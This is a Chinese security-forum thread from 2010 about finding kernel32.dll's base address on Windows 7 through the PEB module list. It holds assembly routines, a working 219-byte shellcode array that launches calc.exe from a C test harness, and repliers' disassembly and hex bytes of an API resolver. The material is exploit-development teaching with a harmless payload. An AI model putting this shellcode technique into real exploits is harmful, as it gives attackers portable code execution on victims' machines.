首页
论坛
课程
招聘

[原创]Win 7下定位kernel32.dll基址及shellcode编写

2010-10-14 22:19 43899

[原创]Win 7下定位kernel32.dll基址及shellcode编写

2010-10-14 22:19
43899
Win 7下定位kernel32.dll基址及shellcode编写
Author:Cryin
Data:2010.10.14
Blog:http://hi.baidu.com/justear
      为了使shellcode在多种操作系统平台下都可以正常运行,就不得不动态的定位kernel32.dll的基地址。而被广泛使用的一种方法是通过TEB/PEB结构获取kernel32.dll基地址,我个人第一次接触是通过绿盟月刊的一篇文章“通过TEB/PEB枚举当前进程空间中用户模块列表”方才知道这种被众多编程人员使用的方法。至于这个方法的最原始出处该文作者也未提及。只得知29A杂志也有大量使用该技术。这种方法适用于除Win7以外的所有windows操作系统包括95/98/ME/NT/2K/XP,大小只有34 bytes,下面是其原理及实现代码;
      更详细的知识大家可以参考snowdbg大牛的文章Windows下的shellcode剖析浅谈http://bbs.pediy.com/showthread.php?t=99007
      利用PEB结构来查找kernel32.dll的原理:FS段寄存器作为选择子指向当前的TEB结构,在TEB偏移0x30处是PEB指针。而在PEB偏移的0x0c处是指向PEB_LDR_DATA结构的指针,位于PEB_LDR_DATA结构偏移0x1c处,是一个叫InInitialzationOrderModuleList的成员,他是指向LDR_MODULE链表结构中,相应的双向链表头部的指针,该链表加载的DLL的顺序是ntdll.dll,kernel32.dl,因此该成员所指的链表偏移0x08处为kernel32.dll地址。
更详细的知识大家可以参考snowdbg大牛的文章Windows下的shellcode剖析浅谈http://bbs.pediy.com/showthread.php?t=99007
获取KERNEL32.DLL基址汇编实现代码:

;find kernel32.dll
find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x                                ;win9x or nt
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret

但非常可惜的是这种方法在Win7下是不适用的,所以很高兴现在给大家分享国外网站上看到的一种新的方法来定位kernel32.dl的基地址,该方法可以在所有windows版本上适用!这种方法通过在InInitializationOrderModuleList中查找kernel32.dll模块名称的长度来定位它的基地址,因为"kernel32.dll"的最后一个字符为"\0"结束符。所以倘若模块最后一个字节为"\0"即可定位kernel32.dll的地址;

具体代码实现方法:
;find kernel32.dll
find_kernel32:
    push esi
    xor ecx, ecx
    mov esi, [fs:ecx+0x30]
    mov esi, [esi + 0x0c]
    mov esi, [esi + 0x1c]
next_module:
    mov eax, [esi + 0x8]
    mov edi,[esi+0x20]
    mov esi ,[esi]
    cmp [edi+12*2],cx
    jne next_module
    pop esi
    Ret
      通过我的测试,这种利用该方法编写的shellcode可以在32位平台Windows 5.0-7.0的所有版本上适用,下面是经我测试在win 7下实现执行calc.exe的shellcode,shellcode本身写的很粗糙只为验证该方法的可用性!

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main()
{
        unsigned char shellcode[219] = {
        0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B,
        0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2,
        0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA,
        0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE,
        0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9,
        0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66,
        0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24,
        0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08,
        0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19,
        0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00,
        0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04,
        0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B,
        0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF,
        0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
};

printf("size of shellcode: %d\n", strlen(shellcode));
system("pause");
((void (*)())shellcode)();
return 0;
}
感谢所有朋友回复和意见以及riusksk的验证,漏洞方面我是新手,还需不断学习,我深信技术的提升总是通过一次一次的更新的认知!发现自己的不足,不断进步!这才是我一直关注看雪的原因!
参考链接:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
http://code.google.com/p/w32-exec-calc-shellcode/

[推荐]看雪企服平台,提供项目众包、渗透测试、安全分析、定制项目开发、APP等级保护等安全服务!

最新回复 (36)
dico 2010-10-14 22:42
2
0
还是第一个来支持大牛的作品!辛苦了一天了,真不容易!
lovesuae 1 2010-10-14 22:49
3
0
从某些shellcode中应该能找到这样的样本,好熟悉
TeLeMan 1 2010-10-14 23:26
4
0
真正原创在这里:
http://skypher.com/index.php/2009/07/22/shellcode-finding-kernel32-in-windows-7/
仙果 19 2010-10-15 01:18
5
0
不用这么复杂吧。我感觉Win7下跟XP下所用的方法都是一样的,只是有2 3 行汇编代码的差异
guansong 2010-10-15 08:07
6
0
学习,争取早日离开小白的阵营
坏坏abc 1 2010-10-15 08:44
7
0
fs:[30h] 获得kernel32.dll基址不和winxp一样嘛?
前几天才写了一段,没一点问题啊。

;;获取Kernel32.dll基址
GetKernelAddr proc
   assume fs:nothing
   mov  eax, fs:[30h]
   mov  eax, [eax+0ch]
   mov  eax, [eax+0ch]
   mov  eax, [eax]
   mov  eax, [eax]
   mov  eax, [eax+18h]
   ret
GetKernelAddr endp
Cryin 4 2010-10-15 08:52
8
0
  我也是在以前写的shellcode基础之上改了几行就可以了,不过确实我以前写的shellcode在win7不适用。貌似pdf9.3.4的一个样本可以在win7下跑,这才研究了下。看来是OUT了!
Cryin 4 2010-10-15 08:53
9
0
楼上说的原创确实不是本人,原创那个大牛的汇编代码在这里可以找到http://code.google.com/p/w32-exec-calc-shellcode/downloads/list   大家可以参考!我的代码就不贴了,唯一的区别是hash值不同,其它的差不多,反而我写的粗糙的多!
iiii 1 2010-10-15 10:51
10
1
printf("size of shellcode: %d\n", strlen(shellcode));


应该是

printf("size of shellcode: %d\n", [COLOR="Red"]sizeof[/COLOR](shellcode));
Cryin 4 2010-10-15 11:00
11
0
谢谢指正呵呵!
skypismire 1 2010-10-15 11:10
12
0
我来发个。。
自己实现的,直接比对模块名得到kernel32.dll基地址,原理一样,适用所有windows版本
            MOV  EAX,DWORD PTR FS:[30H]  
            MOV  EAX,DWORD PTR [EAX+0CH]
        MOV  EAX,DWORD PTR [EAX+1CH]
//...................................................................................................

                                                PUSH 0x006c006c                       
                                                PUSH 0x0064002e
                                                PUSH 0x00320033
                                                PUSH 0x006c0065
                                                PUSH 0x006e0072
                                                PUSH 0x0065006B                                               
                                                MOV ESI,ESP
                                               
_LOOP:                                        
                                                XOR ECX,ECX
                                                MOV EAX,DWORD PTR [EAX]                                //LDR_MODULE链表头的Flink指针
                                                LEA EBX,DWORD PTR [EAX+1CH]                //获取_LDR_DATA_TABLE_ENTRY结构中的成员BaseDllName指针
                                                MOV CX,WORD PTR [EBX]                                 //获取BaseDllName->Length
                                                MOV EDI,DWORD PTR [EBX+4H]    //获取BaseDllName->buffer
                                               
                                                CMP ECX,0
                                                JE  _LOOP
                                                CMP CX, 24
                                                JNE  _LOOP
                               
                                                PUSH EAX                     //保存LDR_MODULE链表指针
//...................................................................................................                                               
                                                push  ECX                   //strcmpwi函数的三个参数
                                                push  ESI
                                                push  EDI                                                                                                               
//...................................................................................................       
                                                push    0                                                                          //填充返回伪值
                                                push    ebp
                                                mov     ebp, esp
                                                sub     esp, 48h
                                                push    ebx
                                                push    esi
                                                push    edi
                                                lea     edi, [ebp-48H]
                                                mov     ecx, 12h
                                                mov     eax, 0CCCCCCCCh
                                                rep stosd
                                                mov     [ebp-4], 0
                                                jmp     short loc_40104A

loc_401041:
            mov     eax, [ebp-4]
            add     eax, 1
            mov     [ebp-4], eax

loc_40104A:
            mov     ecx, [ebp-4]
            cmp     ecx, [ebp+10H]
            jnb     short loc_40109D
            mov     edx, [ebp+8H]
            add     edx, [ebp-4]
            xor     eax, eax
            mov     al, [edx]
            cmp     eax, 41h
            jl      short loc_401080
            mov     ecx, [ebp+8]
            add     ecx, [ebp-4]
            xor     edx, edx
            mov     dl, [ecx]
            cmp     edx, 5Ah
            jg      short loc_401080
            mov     eax, [ebp+8]
            add     eax, [ebp-4]
            xor     ecx, ecx
            mov     cl, [eax]
            add     ecx, 20h
            mov     byte ptr [ebp-8], cl

loc_401080:
            mov     edx, [ebp-8]
            and     edx, 0FFh
            mov     eax, [ebp+0ch]
            add     eax, [ebp-4]
            xor     ecx, ecx
            mov     cl, [eax]
            cmp     edx, ecx
            jz      short loc_40109B
            xor     eax, eax
            jmp     short loc_4010A2

loc_40109B:
            jmp     short loc_401041

loc_40109D:
            mov     eax, 1

loc_4010A2:
            pop     edi
            pop     esi
            pop     ebx
            mov     esp, ebp
            pop     ebp
                              add                 esp,16                                                                        //平衡堆栈
//...................................................................................................                                  
                                                CMP EAX,0
                                                JNE  _FINDED
                                                POP EAX
                                                JMP  _LOOP
                                                                                                                                                                                                      
_FINDED:
                                                POP  EAX
                                                MOV EAX, DWORD PTR[EAX + 8]   //获取kernel32.dll的基地址
                                                ADD ESP, 24
Cryin 4 2010-10-15 18:50
13
0
[QUOTE=skypismire;872104]我来发个。。
自己实现的,直接比对模块名得到kernel32.dll基地址,原理一样,适用所有windows版本
            MOV  EAX,DWORD PTR FS:[30H]  
            MOV  EAX,DWORD PTR [EAX+0CH]
      ...[/QUOTE]

这个写的很强大,我在好好看看
riusksk 41 2010-10-15 23:22
14
0
vista以前的系统,kernel32.dll位于模块链表中的第二个模块,win7则位于第三个模块,见下分析:

0:000> !peb

PEB at 7ffd8000

    InheritedAddressSpace:    No

    ReadImageFileExecOptions: No

    BeingDebugged:            Yes

    ImageBaseAddress:         002f0000

    Ldr                       772b7880

    Ldr.Initialized:          Yes

    Ldr.InInitializationOrderModuleList: 006f2068 . 006f34c8

    Ldr.InLoadOrderModuleList:           006f1fc8 . 006f38f8

    Ldr.InMemoryOrderModuleList:         006f1fd0 . 006f3900

            Base TimeStamp                     Module

          2f0000 49a5f6b3 Feb 26 09:56:03 2009 C:\Program Files\Debugging Tools for Windows (x86)\kill.exe

        [COLOR="Red"]771e0000[/COLOR] 4a5bdadb Jul 14 09:09:47 2009 C:\Windows\SYSTEM32\[COLOR="Red"]ntdll.dll[/COLOR]

        [COLOR="Red"]757c0000[/COLOR] 4b1e3897 Dec 08 19:29:27 2009 C:\Windows\system32[COLOR="Red"]\kernel32.dll[/COLOR]

        [COLOR="Red"]75500000[/COLOR] 4a5bdaae Jul 14 09:09:02 2009 C:\Windows\system32\[COLOR="Red"]KERNELBASE.dll[/COLOR]

        75630000 4a5bda6f Jul 14 09:07:59 2009 C:\Windows\system32\msvcrt.dll

        758b0000 4a5bd97e Jul 14 09:03:58 2009 C:\Windows\system32\ADVAPI32.dll

        76fc0000 4a5bdb04 Jul 14 09:10:28 2009 C:\Windows\SYSTEM32\sechost.dll

        76850000 4a5bdade Jul 14 09:09:50 2009 C:\Windows\system32\RPCRT4.dll

        77320000 4a5bdb2f Jul 14 09:11:11 2009 C:\Windows\system32\USER32.dll

        76900000 4a5bd9dd Jul 14 09:05:33 2009 C:\Windows\system32\GDI32.dll

        756e0000 4a5bda19 Jul 14 09:06:33 2009 C:\Windows\system32\LPK.dll

        75980000 4a5bdb32 Jul 14 09:11:14 2009 C:\Windows\system32\USP10.dll

              ……

查看Ldr.InInitializationOrderModuleList:

0:000> dd 006f2068

006f2068  006f24a8 772b789c [COLOR="Red"]771e0000[/COLOR] 00000000         // [COLOR="Red"]ntdll.dll[/COLOR]

006f2078  0013c000 003c003a 006f1f28 00140012

006f2088  7724d4cc 00004004 0000ffff 772ba680

006f2098  772ba680 4a5bdadb 00000000 00000000

查看下一模块入口:

0:000> dd 006f24a8

006f24a8  006f2390 006f2068 [COLOR="Red"]75500000[/COLOR] 75507a9d          // [COLOR="Red"]KERNELBASE.dll,已经不再是kernel32.dll[/COLOR]

006f24b8  0004a000 00460044 006f2438 001e001c

006f24c8  006f2460 00084004 0000ffff 772ba690

006f24d8  772ba690 4a5bdaae 00000000 00000000

再查看下一模块入口:

0:000> dd 006f2390

006f2390  006f2dc8 006f24a8 [COLOR="Red"]757c0000[/COLOR] 758110e5         [COLOR="Red"] // kernel32.dll,已经成为第三个模块了[/COLOR]

006f23a0  000d4000 00420040 006f2320 001a0018

006f23b0  006f2348 00084004 0000ffff 772ba640

006f23c0  772ba640 4b1e3897 00000000 00000000


因此原先查找xp的方法就不能适用于win7,而通过搜索字符串"kernel32.dll"的终止符\0,就可以实现win2k~win7平台的通用性。
antime 2010-10-16 11:25
15
0
又防住了,哈哈哈哈!
pencil 5 2010-10-16 12:27
16
0
Oh yeah~
iiii 1 2010-10-16 13:22
17
0
现在的人基础真差

char *p
char array[]


strlen:
http://msdn.microsoft.com/en-us/library/78zh94ax%28VS.71%29.aspx
thankme 2010-10-16 13:55
18
0
很好,支持lz
pencil 5 2010-10-16 14:31
19
0
[QUOTE=iiii;872636]现在的人基础真差

char *p
char array[]


strlen:
http://msdn.microsoft.com/en-us/library/78zh94ax%28VS.71%29.aspx[/QUOTE]

谢iiii了。这块之前确实不太理解。一直认为数组名就是指针。
发个链接,不太清楚的朋友也来参考下
http://zhidao.baidu.com/question/133592005
lixupeng 2010-10-16 14:57
20
0
安装WIN7试试!
kingasm 2010-10-19 09:24
21
0
学习,路过!
stu 2010-10-19 12:11
22
0
学习学习了.
cmdhz 3 2010-10-20 22:32
23
0
在win7中顺序固定是3?如果这样实际上应该很容易改进嘛,
cmdhz 3 2010-10-20 23:01
24
0
试验了一下,在我的系统上(win 7)kernel32位于模块链的第二个模块。
cmdhz 3 2010-10-21 15:58
25
0
更正一下我发的回帖。
之前我发的“kernel32位于模块链的第二个模块”是错误的,当时的试验做错了。
如之前一些大侠所言,kernel32位于InInitializationOrderModuleList模块链的第三个模块。
zhangtaopy 1 2010-10-21 18:24
26
0
在我做某个注入PE文件的时候

曾经发现以前看到的SHELLCODE 不能用于win7 用google搜到过LZ所说的那个关于win7 shellcode的讨论。

但是为什么搜到的第一个长度与kernel32.dll长度相同的就一定是kernel32.dll?
njxxdx 2010-11-18 21:15
27
0
刚想看看有没这方面的代码的  顶!!
jgaoabc 1 2010-11-19 11:34
28
0
一开始一直没成功,后来幸好看清楚了,12*2(十进制)=18(十六进制)。
贴上汇编代码,调用之后eax就是kernel32.dll的基址:
00401000 KrnlB>  51                        push ecx
00401001         56                        push esi
00401002         57                        push edi
00401003         33C9                      xor ecx,ecx
00401005         64:8B71 30                mov esi,dword ptr fs:[ecx+30]
00401009         8B76 0C                   mov esi,dword ptr ds:[esi+C]
0040100C         8B76 1C                   mov esi,dword ptr ds:[esi+1C]
0040100F         8B46 08                   mov eax,dword ptr ds:[esi+8]
00401012         8B7E 20                   mov edi,dword ptr ds:[esi+20]
00401015         8B36                      mov esi,dword ptr ds:[esi]
00401017         66:394F 18                cmp word ptr ds:[edi+18],cx
0040101B       ^ 75 F2                     jnz short KrnlBase.0040100F
0040101D         5F                        pop edi
0040101E         5E                        pop esi
0040101F         59                        pop ecx
00401020         C3                        retn

二进制:
51 56 57 33 C9 64 8B 71 30 8B 76 0C 8B 76 1C 8B 46 08 8B 7E 20 8B 36 66 39 4F 18 75 F2 5F 5E 59
C3
在2003、XP以及windows 7下测试通过。
以前我参照写的一个适用2003、XP以及windows 7的太烦琐了,贴上代码:
004024C4         55                        push ebp
004024C5         8BEC                      mov ebp,esp
004024C7         81EC 8C000000             sub esp,8C
004024CD         51                        push ecx
004024CE         52                        push edx
004024CF         53                        push ebx
004024D0         56                        push esi
004024D1         57                        push edi
004024D2         64:A1 30000000            mov eax,dword ptr fs:[30]
004024D8         8B40 0C                   mov eax,dword ptr ds:[eax+C]
004024DB         8B40 1C                   mov eax,dword ptr ds:[eax+1C]
004024DE         8B00                      mov eax,dword ptr ds:[eax]
004024E0         8B40 08                   mov eax,dword ptr ds:[eax+8]
004024E3         8945 F4                   mov dword ptr ss:[ebp-C],eax
004024E6         8B40 3C                   mov eax,dword ptr ds:[eax+3C]
004024E9         8B4D F4                   mov ecx,dword ptr ss:[ebp-C]
004024EC         8B55 F4                   mov edx,dword ptr ss:[ebp-C]
004024EF         035401 78                 add edx,dword ptr ds:[ecx+eax+78]
004024F3         8955 DC                   mov dword ptr ss:[ebp-24],edx
004024F6         8B45 DC                   mov eax,dword ptr ss:[ebp-24]
004024F9         0348 20                   add ecx,dword ptr ds:[eax+20]
004024FC         894D B0                   mov dword ptr ss:[ebp-50],ecx
004024FF         8B4D F4                   mov ecx,dword ptr ss:[ebp-C]
00402502         0348 24                   add ecx,dword ptr ds:[eax+24]
00402505         894D BC                   mov dword ptr ss:[ebp-44],ecx
00402508         8B4D F4                   mov ecx,dword ptr ss:[ebp-C]
0040250B         0348 1C                   add ecx,dword ptr ds:[eax+1C]
0040250E         894D B8                   mov dword ptr ss:[ebp-48],ecx
00402511         C745 8C 47657450          mov dword ptr ss:[ebp-74],50746547
00402518         C745 90 726F6341          mov dword ptr ss:[ebp-70],41636F72
0040251F         C745 94 64647265          mov dword ptr ss:[ebp-6C],65726464
00402526         C745 98 73730000          mov dword ptr ss:[ebp-68],7373
0040252D         8365 88 00                and dword ptr ss:[ebp-78],0
00402531         EB 07                     jmp short zuixin07.0040253A
00402533         8B45 88                   mov eax,dword ptr ss:[ebp-78]
00402536         40                        inc eax
00402537         8945 88                   mov dword ptr ss:[ebp-78],eax
0040253A         8B45 DC                   mov eax,dword ptr ss:[ebp-24]
0040253D         8B4D 88                   mov ecx,dword ptr ss:[ebp-78]
00402540         3B48 18                   cmp ecx,dword ptr ds:[eax+18]
00402543         0F83 8A000000             jnb zuixin07.004025D3
00402549         C785 7CFFFFFF 01000000    mov dword ptr ss:[ebp-84],1
00402553         8365 80 00                and dword ptr ss:[ebp-80],0
00402557         8365 84 00                and dword ptr ss:[ebp-7C],0
0040255B         8B45 88                   mov eax,dword ptr ss:[ebp-78]
0040255E         8B4D B0                   mov ecx,dword ptr ss:[ebp-50]
00402561         8B55 F4                   mov edx,dword ptr ss:[ebp-C]
00402564         031481                    add edx,dword ptr ds:[ecx+eax*4]
00402567         8955 80                   mov dword ptr ss:[ebp-80],edx
0040256A         8D45 8C                   lea eax,dword ptr ss:[ebp-74]
0040256D         8945 84                   mov dword ptr ss:[ebp-7C],eax
00402570         8B45 84                   mov eax,dword ptr ss:[ebp-7C]
00402573         0FBE00                    movsx eax,byte ptr ds:[eax]
00402576         85C0                      test eax,eax
00402578         74 29                     je short zuixin07.004025A3
0040257A         8B45 84                   mov eax,dword ptr ss:[ebp-7C]
0040257D         0FBE00                    movsx eax,byte ptr ds:[eax]
00402580         8B4D 80                   mov ecx,dword ptr ss:[ebp-80]
00402583         0FBE09                    movsx ecx,byte ptr ds:[ecx]
00402586         3BC1                      cmp eax,ecx
00402588         74 09                     je short zuixin07.00402593
0040258A         83A5 7CFFFFFF 00          and dword ptr ss:[ebp-84],0
00402591         EB 10                     jmp short zuixin07.004025A3
00402593         8B45 84                   mov eax,dword ptr ss:[ebp-7C]
00402596         40                        inc eax
00402597         8945 84                   mov dword ptr ss:[ebp-7C],eax
0040259A         8B45 80                   mov eax,dword ptr ss:[ebp-80]
0040259D         40                        inc eax
0040259E         8945 80                   mov dword ptr ss:[ebp-80],eax
004025A1       ^ EB CD                     jmp short zuixin07.00402570
004025A3         83BD 7CFFFFFF 01          cmp dword ptr ss:[ebp-84],1
004025AA         75 22                     jnz short zuixin07.004025CE
004025AC         8B45 80                   mov eax,dword ptr ss:[ebp-80]
004025AF         0FBE00                    movsx eax,byte ptr ds:[eax]
004025B2         85C0                      test eax,eax
004025B4         75 18                     jnz short zuixin07.004025CE
004025B6         8B45 88                   mov eax,dword ptr ss:[ebp-78]
004025B9         8B4D BC                   mov ecx,dword ptr ss:[ebp-44]
004025BC         0FB70441                  movzx eax,word ptr ds:[ecx+eax*2]
004025C0         8B4D B8                   mov ecx,dword ptr ss:[ebp-48]
004025C3         8B55 F4                   mov edx,dword ptr ss:[ebp-C]
004025C6         031481                    add edx,dword ptr ds:[ecx+eax*4]
004025C9         8955 B4                   mov dword ptr ss:[ebp-4C],edx
004025CC         EB 05                     jmp short zuixin07.004025D3
004025CE       ^ E9 60FFFFFF               jmp zuixin07.00402533
004025D3         C745 8C 4765744D          mov dword ptr ss:[ebp-74],4D746547
004025DA         C745 90 6F64756C          mov dword ptr ss:[ebp-70],6C75646F
004025E1         C745 94 6548616E          mov dword ptr ss:[ebp-6C],6E614865
004025E8         C745 98 646C6541          mov dword ptr ss:[ebp-68],41656C64
004025EF         8365 9C 00                and dword ptr ss:[ebp-64],0
004025F3         8D45 8C                   lea eax,dword ptr ss:[ebp-74]
004025F6         50                        push eax
004025F7         FF75 F4                   push dword ptr ss:[ebp-C]
004025FA         FF55 B4                   call dword ptr ss:[ebp-4C]
004025FD         8945 EC                   mov dword ptr ss:[ebp-14],eax
00402600         C745 8C 4B65726E          mov dword ptr ss:[ebp-74],6E72654B
00402607         C745 90 656C3332          mov dword ptr ss:[ebp-70],32336C65
0040260E         C745 94 2E646C6C          mov dword ptr ss:[ebp-6C],6C6C642E
00402615         8365 98 00                and dword ptr ss:[ebp-68],0
00402619         8D45 8C                   lea eax,dword ptr ss:[ebp-74]
0040261C         50                        push eax
0040261D         FF55 EC                   call dword ptr ss:[ebp-14]
00402620         5F                        pop edi
00402621         5E                        pop esi
00402622         5B                        pop ebx
00402623         5A                        pop edx
00402624         59                        pop ecx
00402625         81C4 8C000000             add esp,8C
0040262B         5D                        pop ebp
0040262C         C3                        retn

二进制:
55 8B EC 81 EC 8C 00 00 00 51 52 53 56 57 64 A1 30 00 00 00 8B 40 0C 8B 40 1C 8B 00 8B 40 08 89
45 F4 8B 40 3C 8B 4D F4 8B 55 F4 03 54 01 78 89 55 DC 8B 45 DC 03 48 20 89 4D B0 8B 4D F4 03 48
24 89 4D BC 8B 4D F4 03 48 1C 89 4D B8 C7 45 8C 47 65 74 50 C7 45 90 72 6F 63 41 C7 45 94 64 64
72 65 C7 45 98 73 73 00 00 83 65 88 00 EB 07 8B 45 88 40 89 45 88 8B 45 DC 8B 4D 88 3B 48 18 0F
83 8A 00 00 00 C7 85 7C FF FF FF 01 00 00 00 83 65 80 00 83 65 84 00 8B 45 88 8B 4D B0 8B 55 F4
03 14 81 89 55 80 8D 45 8C 89 45 84 8B 45 84 0F BE 00 85 C0 74 29 8B 45 84 0F BE 00 8B 4D 80 0F
BE 09 3B C1 74 09 83 A5 7C FF FF FF 00 EB 10 8B 45 84 40 89 45 84 8B 45 80 40 89 45 80 EB CD 83
BD 7C FF FF FF 01 75 22 8B 45 80 0F BE 00 85 C0 75 18 8B 45 88 8B 4D BC 0F B7 04 41 8B 4D B8 8B
55 F4 03 14 81 89 55 B4 EB 05 E9 60 FF FF FF C7 45 8C 47 65 74 4D C7 45 90 6F 64 75 6C C7 45 94
65 48 61 6E C7 45 98 64 6C 65 41 83 65 9C 00 8D 45 8C 50 FF 75 F4 FF 55 B4 89 45 EC C7 45 8C 4B
65 72 6E C7 45 90 65 6C 33 32 C7 45 94 2E 64 6C 6C 83 65 98 00 8D 45 8C 50 FF 55 EC 5F 5E 5B 5A
59 81 C4 8C 00 00 00 5D C3
leeonegor 2010-12-29 14:19
29
0
mlgb,感谢分享
hzactivex 2011-1-12 12:11
30
0
跟进!!!强烈学习中
在此基础 2011-10-18 23:44
31
0
vc6.0环境下测试发生   illegal segment override in 'second operand'  神马情况.请大牛指点
SnowFox 2011-10-19 11:51
32
0
应该是这样的

((void (*)())&shellcode)();
cmdxhz 1 2011-10-19 20:08
33
0
mov eax, [fs:eax+0x30]
貌似应该是   mov eax, fs:[eax+0x30]
在此基础 2011-10-20 14:39
34
0
楼上.Debug/Release编译成功,但是运行出错.
Cryin 4 2011-10-23 13:51
35
0
[QUOTE=在此基础;1011572]楼上.Debug/Release编译成功,但是运行出错.[/QUOTE]

你可以点调试看代码问题出现在哪里!
regnem 2012-3-21 14:53
36
0
受益匪浅,谢谢大牛~
yqhzh 2012-7-26 13:42
37
0
收藏了,谢谢
游客
登录 | 注册 方可回帖
返回